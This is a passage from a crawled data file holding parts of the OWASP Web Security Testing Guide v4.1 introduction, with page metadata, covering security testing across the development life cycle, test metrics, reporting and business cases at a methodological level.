build.\n\nThreat scenarios for common vulnerabilities that have root causes in insecure coding can also be documented in the developer’s security testing guide. When a fix is implemented for a coding defect identified with source code analysis, for example, security test cases can verify that the implementation of the code change follows the secure coding requirements documented in the secure coding standards.\n\nSource code analysis and unit tests can validate that the code change mitigates the vulnerability exposed by the previously identified coding defect. The results of automated secure code analysis can also be used as automatic check-in gates for version control, for example, software artifacts cannot be checked into the build with high or medium severity coding issues.\n\n### Functional Testers’ Security Tests\n\n#### Security Testing During the Integration and Validation Phase: Integrated System Tests and Operation Tests\n\nThe main objective of integrated system tests is to validate the “defense in depth” concept, that is, that the implementation of security controls provides security at different layers. For example, the lack of input validation when calling a component integrated with the application is often a factor that can be tested with integration testing.\n\nThe integration system test environment is also the first environment where testers can simulate real attack scenarios as can be potentially executed by a malicious external or internal user of the application. Security testing at this level can validate whether vulnerabilities are real and can be exploited by attackers. For example, a potential vulnerability found in source code can be rated as high risk because of the exposure to potential malicious users, as well as because of the potential impact (e.g., access to confidential information).\n\nReal attack scenarios can be tested with both manual testing techniques and penetration testing tools. Security tests of this type are also referred to as ethical hacking tests. From the security testing perspective, these are risk-driven tests and have the objective of testing the application in the operational environment. The target is the application build that is representative of the version of the application being deployed into production.\n\nIncluding security testing in the integration and validation phase is critical to identifying vulnerabilities due to integration of components, as well as validating the exposure of such vulnerabilities. Application security testing requires a specialized set of skills, including both software and security knowledge, that are not typical of security engineers. As a result, organizations are often required to security-train their software developers on ethical hacking techniques, and security assessment procedures and tools. A realistic scenario is to develop such resources in-house and document them in security testing guides and procedures that take into account the developer’s security testing knowledge. A so called “security test cases cheat list or checklist”, for example, can provide simple test cases and attack vectors that can be used by testers to validate exposure to common vulnerabilities such as spoofing, information disclosures, buffer overflows, format strings, SQL injection and XSS injection, XML, SOAP, canonicalization issues, denial of service, and managed code and ActiveX controls (e.g., .NET). A first battery of these tests can be performed manually with a very basic knowledge of software security.\n\nThe first objective of security tests might be the validation of a set of minimum security requirements. These security test cases might consist of manually forcing the application into error and exceptional states and gathering knowledge from the application behavior. For example, SQL injection vulnerabilities can be tested manually by injecting attack vectors through user input, and by checking if SQL exceptions are thrown back to the user. The evidence of a SQL exception error might be a manifestation of a vulnerability that can be exploited.\n\nA more in-depth security test might require the tester’s knowledge of specialized testing techniques and tools. Besides source code analysis and penetration testing, these techniques include, for example: source code and binary fault injection, fault propagation analysis and code coverage, fuzz testing, and reverse engineering. The security testing guide should provide procedures and recommend tools that can be used by security testers to perform such in-depth security assessments.\n\nThe next level of security testing after integration system tests is to perform security tests in the user acceptance environment. There are unique advantages to performing security tests in the operational environment. The user acceptance test (UAT) environment is the one that is most representative of the release configuration, with the exception of the data (e.g., test data is used in place of real data). A characteristic of security testing in UAT is testing for security configuration issues. In some cases these vulnerabilities might represent high risks. For example, the server that hosts the web application might not be configured with minimum privileges, valid SSL certificate and secure configuration, essential services disabled, and web root directory cleaned of test and administration web pages.\n\n## Security Test Data Analysis and Reporting\n\n### Goals for Security Test Metrics and Measurements\n\nDefining the goals for the security testing metrics and measurements is a prerequisite for using security testing data for risk analysis and management processes. For example, a measurement, such as the total number of vulnerabilities found with security tests, might quantify the security posture of the application. These measurements also help to identify security objectives for software security testing, for example, reducing the number of vulnerabilities to an acceptable minimum number before the application is deployed into production.\n\nAnother manageable goal could be to compare the application security posture against a baseline to assess improvements in application security processes. For example, the security metrics baseline might consist of an application that was tested only with penetration tests. The security data obtained from an application that was also security tested during coding should show an improvement (e.g., fewer number of vulnerabilities) when compared with the baseline.\n\nIn traditional software testing, the number of software defects, such as the bugs found in an application, could provide a measure of software quality. Similarly, security testing can provide a measure of software security. From the defect management and reporting perspective, software quality and security testing can use similar categorizations for root causes and defect remediation efforts. From the root cause perspective, a security defect can be due to an error in design (e.g., security flaws) or due to an error in coding (e.g., security bug). From the perspective of the effort required to fix a defect, both security and quality defects can be measured in terms of developer hours to implement the fix, the tools and resources required, and the cost to implement the fix.\n\nA characteristic of security test data, compared to quality data, is the categorization in terms of the threat, the exposure of the vulnerability, and the potential impact posed by the vulnerability to determine the risk. Testing applications for security consists of managing technical risks to make sure that the application countermeasures meet acceptable levels. For this reason, security testing data needs to support the security risk strategy at critical checkpoints during the SDLC. For example, vulnerabilities found in source code with source code analysis represent an initial measure of risk. A measure of risk (e.g., high, medium, low) for the vulnerability can be calculated by determining the exposure and likelihood factors, and by validating the vulnerability with penetration tests. The risk metrics associated to vulnerabilities found with security tests empower business management to make risk management decisions, such as to decide whether risks can be accepted, mitigated, or transferred at different levels within the organization (e.g., business as well as technical risks).\n\nWhen evaluating the security posture of an application, it is important to take into consideration certain factors, such as the size of the application being developed. Application size has been statistically proven to be related to the number of issues found in the application during testing. Since testing reduces issues, it is logical for larger size applications to be tested more often than smaller size applications.\n\nWhen security testing is done in several phases of the SDLC, the test data can prove the capability of the security tests in detecting vulnerabilities as soon as they are introduced. The test data can also prove the effectiveness of removing the vulnerabilities by implementing countermeasures at different checkpoints of the SDLC. A measurement of this type is also defined as “containment metrics” and provides a measure of the ability of a security assessment performed at each phase of the development process to maintain security within each phase. These containment metrics are also a critical factor in lowering the cost of fixing the vulnerabilities. It is less expensive to deal with vulnerabilities in the same phase of the SDLC that they are found, rather then fixing them later in another phase.\n\nSecurity test metrics can support security risk, cost, and defect management analysis when they are associated with tangible and timed goals such as:\n\n- Reducing the overall number of vulnerabilities by 30%.\n- Fixing security issues by a certain deadline (e.g., before beta release).\n\nSecurity test data can be absolute, such as the number of vulnerabilities detected during manual code review, as well as comparative, such as the number of vulnerabilities detected in code reviews compared to penetration tests. To answer questions about the quality of the security process, it is important to determine a baseline for what could be considered acceptable and good.\n\nSecurity test data can also support specific objectives of the security analysis. These objectives could be compliance with security regulations and information security standards, management of security processes, the identification of security root causes and process improvements, and security cost benefit analysis.\n\nWhen security test data is reported, it has to provide metrics to support the analysis. The scope of the analysis is the interpretation of test data to find clues about the security of the software being produced, as well as the effectiveness of the process.\n\nSome examples of clues supported by security test data can be:\n\n- Are vulnerabilities reduced to an acceptable level for release?\n- How does the security quality of this product compare with similar software products?\n- Are all security test requirements being met?\n- What are the major root causes of security issues?\n- How numerous are security flaws compared to security bugs?\n- Which security activity is most effective in finding vulnerabilities?\n- Which team is more productive in fixing security defects and vulnerabilities?\n- What percentage of overall vulnerabilities are high risk?\n- Which tools are most effective in detecting security vulnerabilities?\n- What kind of security tests are most effective in finding vulnerabilities (e.g., white-box vs. black-box) tests?\n- How many security issues are found during secure code reviews?\n- How many security issues are found during secure design reviews?\n\nIn order to make a sound judgment using the testing data, it is important to have a good understanding of the testing process as well as the testing tools. A tool taxonomy should be adopted to decide which security tools to use. Security tools can be qualified as being good at finding common, known vulnerabilities, when targeting different artifacts.\n\nIt is important to note that unknown security issues are not tested. The fact that a security test is clear of issues does not mean that the software or application is good.\n\nEven the most sophisticated automation tools are not a match for an experienced security tester. Just relying on successful test results from automated tools will give security practitioners a false sense of security. Typically, the more experienced the security testers are with the security testing methodology and testing tools, the better the results of the security test and analysis will be. It is important that managers making an investment in security testing tools also consider an investment in hiring skilled human resources, as well as security test training.\n\n### Reporting Requirements\n\nThe security posture of an application can be characterized from the perspective of the effect, such as number of vulnerabilities and the risk rating of the vulnerabilities, as well as from the perspective of the cause or origin, such as coding errors, architectural flaws, and configuration issues.\n\nVulnerabilities can be classified according to different criteria. The most commonly used vulnerability severity metric is the [Common Vulnerability Scoring System](https://www.first.org/cvss/) (CVSS), a standard maintained by the Forum of Incident Response and Security Teams (FIRST).\n\nWhen reporting security test data, the best practice is to include the following information:\n\n- a categorization of each vulnerability by type;\n- the security threat that each issue is exposed to;\n- the root cause of each security issue, such as the bug or flaw;\n- each testing technique used to find the issues;\n- the remediation, or countermeasure, for each vulnerability; and\n- the severity rating of each vulnerability (e.g., high, medium, low, or CVSS score).\n\nBy describing what the security threat is, it will be possible to understand if and why the mitigation control is ineffective in mitigating the threat.\n\nReporting the root cause of the issue can help pinpoint what needs to be fixed. In the case of white-box testing, for example, the software security root cause of the vulnerability will be the offending source code.\n\nOnce issues are reported, it is also important to provide guidance to the software developer on how to re-test and find the vulnerability. This might involve using a white-box testing technique (e.g., security code review with a static code analyzer) to find if the code is vulnerable. If a vulnerability can be found via a black-box penetration test, the test report also needs to provide information on how to validate the exposure of the vulnerability to the front end (e.g., client).\n\nThe information about how to fix the vulnerability should be detailed enough for a developer to implement a fix. It should provide secure coding examples, configuration changes, and provide adequate references.\n\nFinally, the severity rating contributes to the calculation of risk rating and helps to prioritize the remediation effort. Typically, assigning a risk rating to the vulnerability involves external risk analysis based upon factors such as impact and exposure.\n\n### Business Cases\n\nFor the security test metrics to be useful, they need to provide value back to the organization’s security test data stakeholders. The stakeholders can include project managers, developers, information security offices, auditors, and chief information officers. The value can be in terms of the business case that each project stakeholder has, in terms of role and responsibility.\n\nSoftware developers look at security test data to show that software is coded securely and efficiently. This allows them to make the case for using source code analysis tools, following secure coding standards, and attending software security training.\n\nProject managers look for data that allows them to successfully manage and utilize security testing activities and resources according to the project plan. To project managers, security test data can show that projects are on schedule and moving on target for delivery dates, and are getting better during tests.\n\nSecurity test data also helps the business case for security testing if the initiative comes from information security officers (ISOs). For example, it can provide evidence that security testing during the SDLC does not impact the project delivery, but rather reduces the overall workload needed to address vulnerabilities later in production.\n\nTo compliance auditors, security test metrics provide a level of software security assurance and confidence that security standard compliance is addressed through the security review processes within the organization.\n\nFinally, Chief Information Officers (CIOs), and Chief Information Security Officers (CISOs), who are responsible for the budget that needs to be allocated in security resources, look for derivation of a cost-benefit analysis from security test data. This allows them to make informed decisions about which security activities and tools to invest in. One of the metrics that supports such analysis is the Return On Investment (ROI) in security. To derive such metrics from security test data, it is important to quantify the differential between the risk, due to the exposure of vulnerabilities, and the effectiveness of the security tests in mitigating the security risk, then factor this gap with the cost of the security testing activity or the testing tools adopted.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 85662, "slov": 12918, "odkazu": 199, "kodovani": "windows-1250", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:33", "sha256": "b95c93ed6cb6cfc4d5a738cfaca7119fe4194de1c327ed9a1d80e2c1847a2087", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://isbnsearch.org/isbn/9780131717114", "https://en.wikiquote.org/wiki/Tom_DeMarco", "https://www.nist.gov/director/planning/upload/report02-3.pdf", "https://www.cl.cam.ac.uk/~rja14/econsec.html", "https://www.fnf.com/", "https://www.schneier.com/crypto-gram/archives/2000/0915.html", "https://www.symantec.com/security-center/threat-report", "https://www.opensamm.org/", "https://www.ftc.gov/tips-advice/business-center/privacy-and-security/gramm-leach-bliley-act", "https://leginfo.legislature.ca.gov/faces/billTextClient.xhtml?bill_id=200120020SB1386", "https://ec.europa.eu/info/policies/justice-and-fundamental-rights_en", "https://csrc.nist.gov/publications/detail/sp/800-30/rev-1/final", "https://ia600903.us.archive.org/11/items/pdfy-Qf4sZZSmHKQlHFfw/p761-thompson.pdf", "https://wiki.owasp.org/index.php/Category:OWASP_Code_Review_Project", "https://www.garymcgraw.com/wp-content/uploads/2015/11/bsi6-pentest.pdf", "https://www.fdic.gov/news/news/financial/2011/fil11050.html", "https://www.pcisecuritystandards.org/pci_security/", "https://github.com/OWASP/wstg/tree/master/checklist", "https://en.wikipedia.org/wiki/STRIDE_(security)", "https://folk.uio.no/nik/2001/21-sindre.pdf", "https://iacis.org/iis/2006/Damodaran.pdf", "https://www.first.org/cvss/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/2-Introduction/README", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/2-Introduction/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/2-Introduction/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Introduction"}, {"uroven": 2, "text": "The OWASP Testing Project"}, {"uroven": 3, "text": "Measuring Security: the Economics of Insecure Software"}, {"uroven": 3, "text": "What is Testing?"}, {"uroven": 3, "text": "Why Perform Testing?"}, {"uroven": 3, "text": "When to Test?"}, {"uroven": 3, "text": "What to Test?"}, {"uroven": 3, "text": "Feedback and Comments"}, {"uroven": 2, "text": "Principles of Testing"}, {"uroven": 3, "text": "There is No Silver Bullet"}, {"uroven": 3, "text": "Think Strategically, Not Tactically"}, {"uroven": 3, "text": "The SDLC is King"}, {"uroven": 3, "text": "Test Early and Test Often"}, {"uroven": 3, "text": "Understand the Scope of Security"}, {"uroven": 3, "text": "Develop the Right Mindset"}, {"uroven": 3, "text": "Understand the Subject"}, {"uroven": 3, "text": "Use the Right Tools"}, {"uroven": 3, "text": "The Devil is in the Details"}, {"uroven": 3, "text": "Use Source Code When Available"}, {"uroven": 3, "text": "Develop Metrics"}, {"uroven": 3, "text": "Document the Test Results"}, {"uroven": 2, "text": "Testing Techniques Explained"}, {"uroven": 2, "text": "Manual Inspections and Reviews"}, {"uroven": 3, "text": "Overview"}, {"uroven": 3, "text": "Advantages"}, {"uroven": 3, "text": "Disadvantages"}, {"uroven": 2, "text": "Threat Modeling"}, {"uroven": 3, "text": "Overview"}, {"uroven": 3, "text": "Advantages"}, {"uroven": 3, "text": "Disadvantages"}, {"uroven": 2, "text": "Source Code Review"}, {"uroven": 3, "text": "Overview"}, {"uroven": 3, "text": "Advantages"}, {"uroven": 3, "text": "Disadvantages"}, {"uroven": 2, "text": "Penetration Testing"}, {"uroven": 3, "text": "Overview"}, {"uroven": 3, "text": "Advantages"}, {"uroven": 3, "text": "Disadvantages"}, {"uroven": 2, "text": "The Need for a Balanced Approach"}, {"uroven": 3, "text": "A Note about Web Application Scanners"}, {"uroven": 3, "text": "Example 1: Magic Parameters"}, {"uroven": 3, "text": "Example 2: Bad Cryptography"}, {"uroven": 3, "text": "A Note about Static Source Code Review Tools"}, {"uroven": 2, "text": "Deriving Security Test Requirements"}, {"uroven": 3, "text": "Testing Objectives"}, {"uroven": 3, "text": "Security Requirements Documentation"}, {"uroven": 3, "text": "Security Requirements Validation"}, {"uroven": 3, "text": "Threats and Countermeasures Taxonomies"}, {"uroven": 3, "text": "Security Testing and Risk Analysis"}, {"uroven": 3, "text": "Deriving Functional and Non-Functional Test Requirements"}, {"uroven": 4, "text": "Functional Security Requirements"}, {"uroven": 4, "text": "Risk-Driven Security Requirements"}, {"uroven": 3, "text": "Deriving Security Test Requirements Through Use and Misuse Cases"}, {"uroven": 4, "text": "Step 1: Describe the Functional Scenario"}, {"uroven": 4, "text": "Step 2: Describe the Negative Scenario"}, {"uroven": 4, "text": "Step 3: Describe Functional and Negative Scenarios With Use and Misuse Case"}, {"uroven": 4, "text": "Step 4: Elicit The Security Requirements"}, {"uroven": 2, "text": "Security Tests Integrated in Development and Testing Workflows"}, {"uroven": 3, "text": "Security Testing in the Development Workflow"}, {"uroven": 3, "text": "Security Testing in the Test Workflow"}, {"uroven": 3, "text": "Developer’s Security Tests"}, {"uroven": 4, "text": "Security Testing in the Coding Phase: Unit Tests"}, {"uroven": 3, "text": "Functional Testers’ Security Tests"}, {"uroven": 4, "text": "Security Testing During the Integration and Validation Phase: Integrated System Tests and Operation Tests"}, {"uroven": 2, "text": "Security Test Data Analysis and Reporting"}, {"uroven": 3, "text": "Goals for Security Test Metrics and Measurements"}, {"uroven": 3, "text": "Reporting Requirements"}, {"uroven": 3, "text": "Business Cases"}], "markdown": "# WSTG - v4.1\n\n# Introduction\n\n## The OWASP Testing Project\n\nThe OWASP Testing Project has been in development for many years. The aim of the project is to help people understand the *what*, *why*, *when*, *where*, and *how* of testing web applications. The project has delivered a complete testing framework, not merely a simple checklist or prescription of issues that should be addressed. Readers can use this framework as a template to build their own testing programs or to qualify other people’s processes. The Testing Guide describes in detail both the general testing framework and the techniques required to implement the framework in practice.\n\nWriting the Testing Guide has proven to be a difficult task. It was a challenge to obtain consensus and develop content that allowed people to apply the concepts described in the guide, while also enabling them to work in their own environment and culture. It was also a challenge to change the focus of web application testing from penetration testing to testing integrated in the software development life cycle.\n\nHowever, the group is very satisfied with the results of the project. Many industry experts and security professionals, some of whom are responsible for software security at some of the largest companies in the world, are validating the testing framework. This framework helps organizations test their web applications in order to build reliable and secure software. The framework does not simply highlight areas of weakness, although the latter is certainly a by-product of many of the OWASP guides and checklists. As such, hard decisions had to be made about the appropriateness of certain testing techniques and technologies. The group fully understands that not everyone will agree upon all of these decisions. However, OWASP is able to take the high ground and change culture over time through awareness and education based on consensus and experience.\n\nThe rest of this guide is organized as follows: this introduction covers the pre-requisites of testing web applications and the scope of testing. It also covers the principles of successful testing and testing techniques, best practices for reporting, and business cases for security testing. Chapter 3 presents the OWASP Testing Framework and explains its techniques and tasks in relation to the various phases of the software development life cycle. Chapter 4 covers how to test for specific vulnerabilities (e.g., SQL Injection) by code inspection and penetration testing.\n\n### Measuring Security: the Economics of Insecure Software\n\nA basic tenet of software engineering is summed up in a quote from [Controlling Software Projects: Management, Measurement, and Estimates](https://isbnsearch.org/isbn/9780131717114) by [Tom DeMarco](https://en.wikiquote.org/wiki/Tom_DeMarco):\n\n> You can’t control what you can’t measure.\n\nSecurity testing is no different. Unfortunately, measuring security is a notoriously difficult process.\n\nOne aspect that should be emphasized is that security measurements are about both the specific technical issues (e.g., how prevalent a certain vulnerability is) and how these issues affect the economics of software. Most technical people will at least understand the basic issues, or they may have a deeper understanding of the vulnerabilities. Sadly, few are able to translate that technical knowledge into monetary terms and quantify the potential cost of vulnerabilities to the application owner’s business. Until this happens, CIOs will not be able to develop an accurate return on security investment and, subsequently, assign appropriate budgets for software security.\nWhile estimating the cost of insecure software may appear a daunting task, there has been a significant amount of work in this direction. For example, in June 2002, the US National Institute of Standards (NIST) published a [survey on the cost of insecure software to the US economy due to inadequate software testing](https://www.nist.gov/director/planning/upload/report02-3.pdf). Interestingly, they estimate that a better testing infrastructure would save more than a third of these costs, or about $22 billion a year. More recently, the links between economics and security have been studied by academic researchers. [Ross Andrerson’s page](https://www.cl.cam.ac.uk/~rja14/econsec.html) on economics and security has more information about some of these efforts.\n\nThe framework described in this document encourages people to measure security throughout the entire development process. They can then relate the cost of insecure software to the impact it has on the business, and consequently develop appropriate business processes and assign resources to manage the risk. Remember that measuring and testing web applications is even more critical than for other software, since web applications are exposed to millions of users through the Internet.\n\n### What is Testing?\n\nMany things need to be tested during the development life cycle of a web application, but what does testing actually mean? The Oxford Dictionary of English defines “test” as:\n\n> **test** (noun): a procedure intended to establish the quality, performance, or reliability of something, especially before it is taken into widespread use.\n\nFor the purposes of this document, testing is a process of comparing the state of a system or application against a set of criteria. In the security industry, people frequently test against a set of mental criteria that are neither well defined nor complete. As a result of this, many outsiders regard security testing as a black art. The aim of this document is to change that perception, and to make it easier for people without in-depth security knowledge to make a difference in testing.\n\n### Why Perform Testing?\n\nThis document is designed to help organizations understand what comprises a testing program, and to help them identify the steps that need to be undertaken to build and operate a testing program on web applications. The guide gives a broad view of the elements required to make a comprehensive web application security program. This guide can be used as a reference guide and as a methodology to help determine the gap between existing practices and industry best practices. This guide allows organizations to compare themselves against industry peers, to understand the magnitude of resources required to test and maintain software, or to prepare for an audit. This chapter does not go into the technical details of how to test an application, as the intent is to provide a typical security organizational framework. The technical details about how to test an application, as part of a penetration test or code review, will be covered in the remaining parts of this document.\n\n### When to Test?\n\nMost people today don’t test software until it has already been created and is in the deployment phase of its life cycle (i.e., code has been created and instantiated into a working web application). This is generally a very ineffective and cost-prohibitive practice. One of the best methods to prevent security bugs from appearing in production applications is to improve the Software Development Life Cycle (SDLC) by including security in each of its phases. An SDLC is a structure imposed on the development of software artifacts. If an SDLC is not currently being used in your environment, it is time to pick one! The following figure shows a generic SDLC model as well as the (estimated) increasing cost of fixing security bugs in such a model.\n\n*Figure 2-1: Generic SDLC Model*\n\nCompanies should inspect their overall SDLC to ensure that security is an integral part of the development process. SDLCs should include security tests to ensure security is adequately covered and controls are effective throughout the development process.\n\n### What to Test?\n\nIt can be helpful to think of software development as a combination of people, process, and technology. If these are the factors that “create” software, then it is logical that these are the factors that must be tested. Today most people generally test the technology or the software itself.\n\nAn effective testing program should have components that test the following:\n\n**People** – to ensure that there is adequate education and awareness;\n\n**Process** – to ensure that there are adequate policies and standards and that people know how to follow these policies;\n\n**Technology** – to ensure that the process has been effective in its implementation.\n\nUnless a holistic approach is adopted, testing just the technical implementation of an application will not uncover management or operational vulnerabilities that could be present. By testing the people, policies, and processes, an organization can catch issues that would later manifest themselves into defects in the technology, thus eradicating bugs early and identifying the root causes of defects. Likewise, testing only some of the technical issues that can be present in a system will result in an incomplete and inaccurate security posture assessment.\n\nDenis Verdon, Head of Information Security at [Fidelity National Financial](https://www.fnf.com), presented an excellent analogy for this misconception at the OWASP AppSec 2004 Conference in New York:\n\n> If cars were built like applications … safety tests would assume frontal impact only. Cars would not be roll tested, or tested for stability in emergency maneuvers, brake effectiveness, side impact, and resistance to theft.\n\n### Feedback and Comments\n\nAs with all OWASP projects, we welcome comments and feedback. We especially like to know that our work is being used and that it is effective and accurate.\n\n## Principles of Testing\n\nThere are some common misconceptions when developing a testing methodology to find security bugs in software. This chapter covers some of the basic principles that professionals should take into account when performing security tests on software.\n\n### There is No Silver Bullet\n\nWhile it is tempting to think that a security scanner or application firewall will provide many defenses against attack or identify a multitude of problems, in reality there is no silver bullet to the problem of insecure software. Application security assessment software, while useful as a first pass to find low-hanging fruit, is generally immature and ineffective at in-depth assessments or providing adequate test coverage. Remember that security is a process and not a product.\n\n### Think Strategically, Not Tactically\n\nSecurity professionals have come to realize the fallacy of the patch-and-penetrate model that was pervasive in information security during the 1990’s. The patch-and-penetrate model involves fixing a reported bug, but without proper investigation of the root cause. This model is usually associated with the window of vulnerability, also referred to as window of exposure, shown in the figure below. The evolution of vulnerabilities in common software used worldwide has shown the ineffectiveness of this model. For more information about windows of exposure, see [Schneier on Security](https://www.schneier.com/crypto-gram/archives/2000/0915.html).\n\nVulnerability studies such as [Symantec’s Internet Security Threat Report](https://www.symantec.com/security-center/threat-report) have shown that with the reaction time of attackers worldwide, the typical window of vulnerability does not provide enough time for patch installation, since the time between a vulnerability being uncovered and an automated attack against it being developed and released is decreasing every year.\n\nThere are several incorrect assumptions in the patch-and-penetrate model. Many users believe that patches interfere with normal operations or might break existing applications. It is also incorrect to assume that all users are aware of newly released patches. Consequently not all users of a product will apply patches, either because they think patching may interfere with how the software works, or because they lack knowledge about the existence of the patch.\n\n*Figure 2-2: Window of Vulnerability*\n\nIt is essential to build security into the Software Development Life Cycle (SDLC) to prevent reoccurring security problems within an application. Developers can build security into the SDLC by developing standards, policies, and guidelines that fit and work within the development methodology. Threat modeling and other techniques should be used to help assign appropriate resources to those parts of a system that are most at risk.\n\n### The SDLC is King\n\nThe SDLC is a process that is well-known to developers. By integrating security into each phase of the SDLC, it allows for a holistic approach to application security that leverages the procedures already in place within the organization. Be aware that while the names of the various phases may change depending on the SDLC model used by an organization, each conceptual phase of the archetype SDLC will be used to develop the application (i.e., define, design, develop, deploy, maintain). Each phase has security considerations that should become part of the existing process, to ensure a cost-effective and comprehensive security program.\n\nThere are several secure SDLC frameworks in existence that provide both descriptive and prescriptive advice. Whether a person takes descriptive or prescriptive advice depends on the maturity of the SDLC process. Essentially, prescriptive advice shows how the secure SDLC should work, and descriptive advice shows how it is used in the real world. Both have their place. For example, if you don’t know where to start, a prescriptive framework can provide a menu of potential security controls that can be applied within the SDLC. Descriptive advice can then help drive the decision process by presenting what has worked well for other organizations. Descriptive secure SDLCs include BSIMM-V; and the prescriptive secure SDLCs include OWASP’s [Open Software Assurance Maturity Model](https://www.opensamm.org/) (OpenSAMM) and ISO/IEC 27034 Parts 1-8, parts of which are still in development.\n\n### Test Early and Test Often\n\nWhen a bug is detected early within the SDLC it can be addressed faster and at a lower cost. A security bug is no different from a functional or performance-based bug in this regard. A key step in making this possible is to educate the development and QA teams about common security issues and the ways to detect and prevent them. Although new libraries, tools, or languages can help design programs with fewer security bugs, new threats arise constantly and developers must be aware of the threats that affect the software they are developing. Education in security testing also helps developers acquire the appropriate mindset to test an application from an attacker’s perspective. This allows each organization to consider security issues as part of their existing responsibilities.\n\n### Understand the Scope of Security\n\nIt is important to know how much security a given project will require. The assets that are to be protected should be given a classification that states how they are to be handled (e.g., confidential, secret, top secret). Discussions should occur with legal council to ensure that any specific security requirements will be met. In the USA, requirements might come from federal regulations, such as the [Gramm-Leach-Bliley Act](https://www.ftc.gov/tips-advice/business-center/privacy-and-security/gramm-leach-bliley-act), or from state laws, such as the [California SB-1386](https://leginfo.legislature.ca.gov/faces/billTextClient.xhtml?bill_id=200120020SB1386). For organizations based in EU countries, both country-specific regulation and EU Directives may apply. For example, [Directive 96/46/EC4](https://ec.europa.eu/info/policies/justice-and-fundamental-rights_en) makes it mandatory to treat personal data in applications with due care, whatever the application.\n\n### Develop the Right Mindset\n\nSuccessfully testing an application for security vulnerabilities requires thinking “outside of the box.” Normal use cases will test the normal behavior of the application when a user is using it in the manner that is expected. Good security testing requires going beyond what is expected and thinking like an attacker who is trying to break the application. Creative thinking can help to determine what unexpected data may cause an application to fail in an insecure manner. It can also help find any assumptions made by web developers that are not always true, and how those assumptions can be subverted. One reason that automated tools do a poor job of testing for vulnerabilities is that automated tools do not think creatively. Creative thinking must be done on a case-by-case basis, as most web applications are being developed in a unique way (even when using common frameworks).\n\n### Understand the Subject\n\nOne of the first major initiatives in any good security program should be to require accurate documentation of the application. The architecture, data-flow diagrams, use cases, etc, should be recorded in formal documents and made available for review. The technical specification and application documents should include information that lists not only the desired use cases, but also any specifically disallowed use cases. Finally, it is good to have at least a basic security infrastructure that allows the monitoring and trending of attacks against an organization’s applications and network (e.g., IDS systems).\n\n### Use the Right Tools\n\nWhile we have already stated that there is no silver bullet tool, tools do play a critical role in the overall security program. There is a range of open source and commercial tools that can automate many routine security tasks. These tools can simplify and speed up the security process by assisting security personnel in their tasks. However, it is important to understand exactly what these tools can and cannot do so that they are not oversold or used incorrectly.\n\n### The Devil is in the Details\n\nIt is critical not to perform a superficial security review of an application and consider it complete. This will instill a false sense of confidence that can be as dangerous as not having done a security review in the first place. It is vital to carefully review the findings and weed out any false positives that may remain in the report. Reporting an incorrect security finding can often undermine the valid message of the rest of a security report. Care should be taken to verify that every possible section of application logic has been tested, and that every use case scenario was explored for possible vulnerabilities.\n\n### Use Source Code When Available\n\nWhile black-box penetration test results can be impressive and useful to demonstrate how vulnerabilities are exposed in a production environment, they are not the most effective or efficient way to secure an application. It is difficult for dynamic testing to test the entire code base, particularly if many nested conditional statements exist. If the source code for the application is available, it should be given to the security staff to assist them while performing their review. It is possible to discover vulnerabilities within the application source that would be missed during a black-box engagement.\n\n### Develop Metrics\n\nAn important part of a good security program is the ability to determine if things are getting better. It is important to track the results of testing engagements, and develop metrics that will reveal the application security trends within the organization.\n\nGood metrics will show:\n\n- If more education and training are required;\n- If there is a particular security mechanism that is not clearly understood by the development team;\n- If the total number of security related problems being found each month is going down.\n\nConsistent metrics that can be generated in an automated way from available source code will also help the organization in assessing the effectiveness of mechanisms introduced to reduce security bugs in software development. Metrics are not easily developed, so using standard metrics like those provided by the OWASP Metrics project and other organizations is a good starting point.\n\n### Document the Test Results\n\nTo conclude the testing process, it is important to produce a formal record of what testing actions were taken, by whom, when they were performed, and details of the test findings. It is wise to agree on an acceptable format for the report that is useful to all concerned parties, which may include developers, project management, business owners, IT department, audit, and compliance.\n\nThe report should clearly identify to the business owner where material risks exist, and do so in a manner sufficient to get their backing for subsequent mitigation actions. The report should also be clear to the developer in pin-pointing the exact function that is affected by the vulnerability and associated recommendations for resolving issues in a language that the developer will understand. The report should also allow another security tester to reproduce the results. Writing the report should not be overly burdensome on the security tester themselves. Security testers are not generally renowned for their creative writing skills, and agreeing on a complex report can lead to instances where test results are not properly documented. Using a security test report template can save time and ensure that results are documented accurately and consistently, and are in a format that is suitable for the audience.\n\n## Testing Techniques Explained\n\nThis section presents a high-level overview of various testing techniques that can be employed when building a testing program. It does not present specific methodologies for these techniques, as this information is covered in Chapter 3. This section is included to provide context for the framework presented in the next chapter and to highlight the advantages and disadvantages of some of the techniques that should be considered. In particular, we will cover:\n\n- Manual Inspections & Reviews\n- Threat Modeling\n- Code Review\n- Penetration Testing\n\n## Manual Inspections and Reviews\n\n### Overview\n\nManual inspections are human reviews that typically test the security implications of people, policies, and processes. Manual inspections can also include inspection of technology decisions such as architectural designs. They are usually conducted by analyzing documentation or performing interviews with the designers or system owners.\n\nWhile the concept of manual inspections and human reviews is simple, they can be among the most powerful and effective techniques available. By asking someone how something works and why it was implemented in a specific way, the tester can quickly determine if any security concerns are likely to be evident. Manual inspections and reviews are one of the few ways to test the software development life-cycle process itself and to ensure 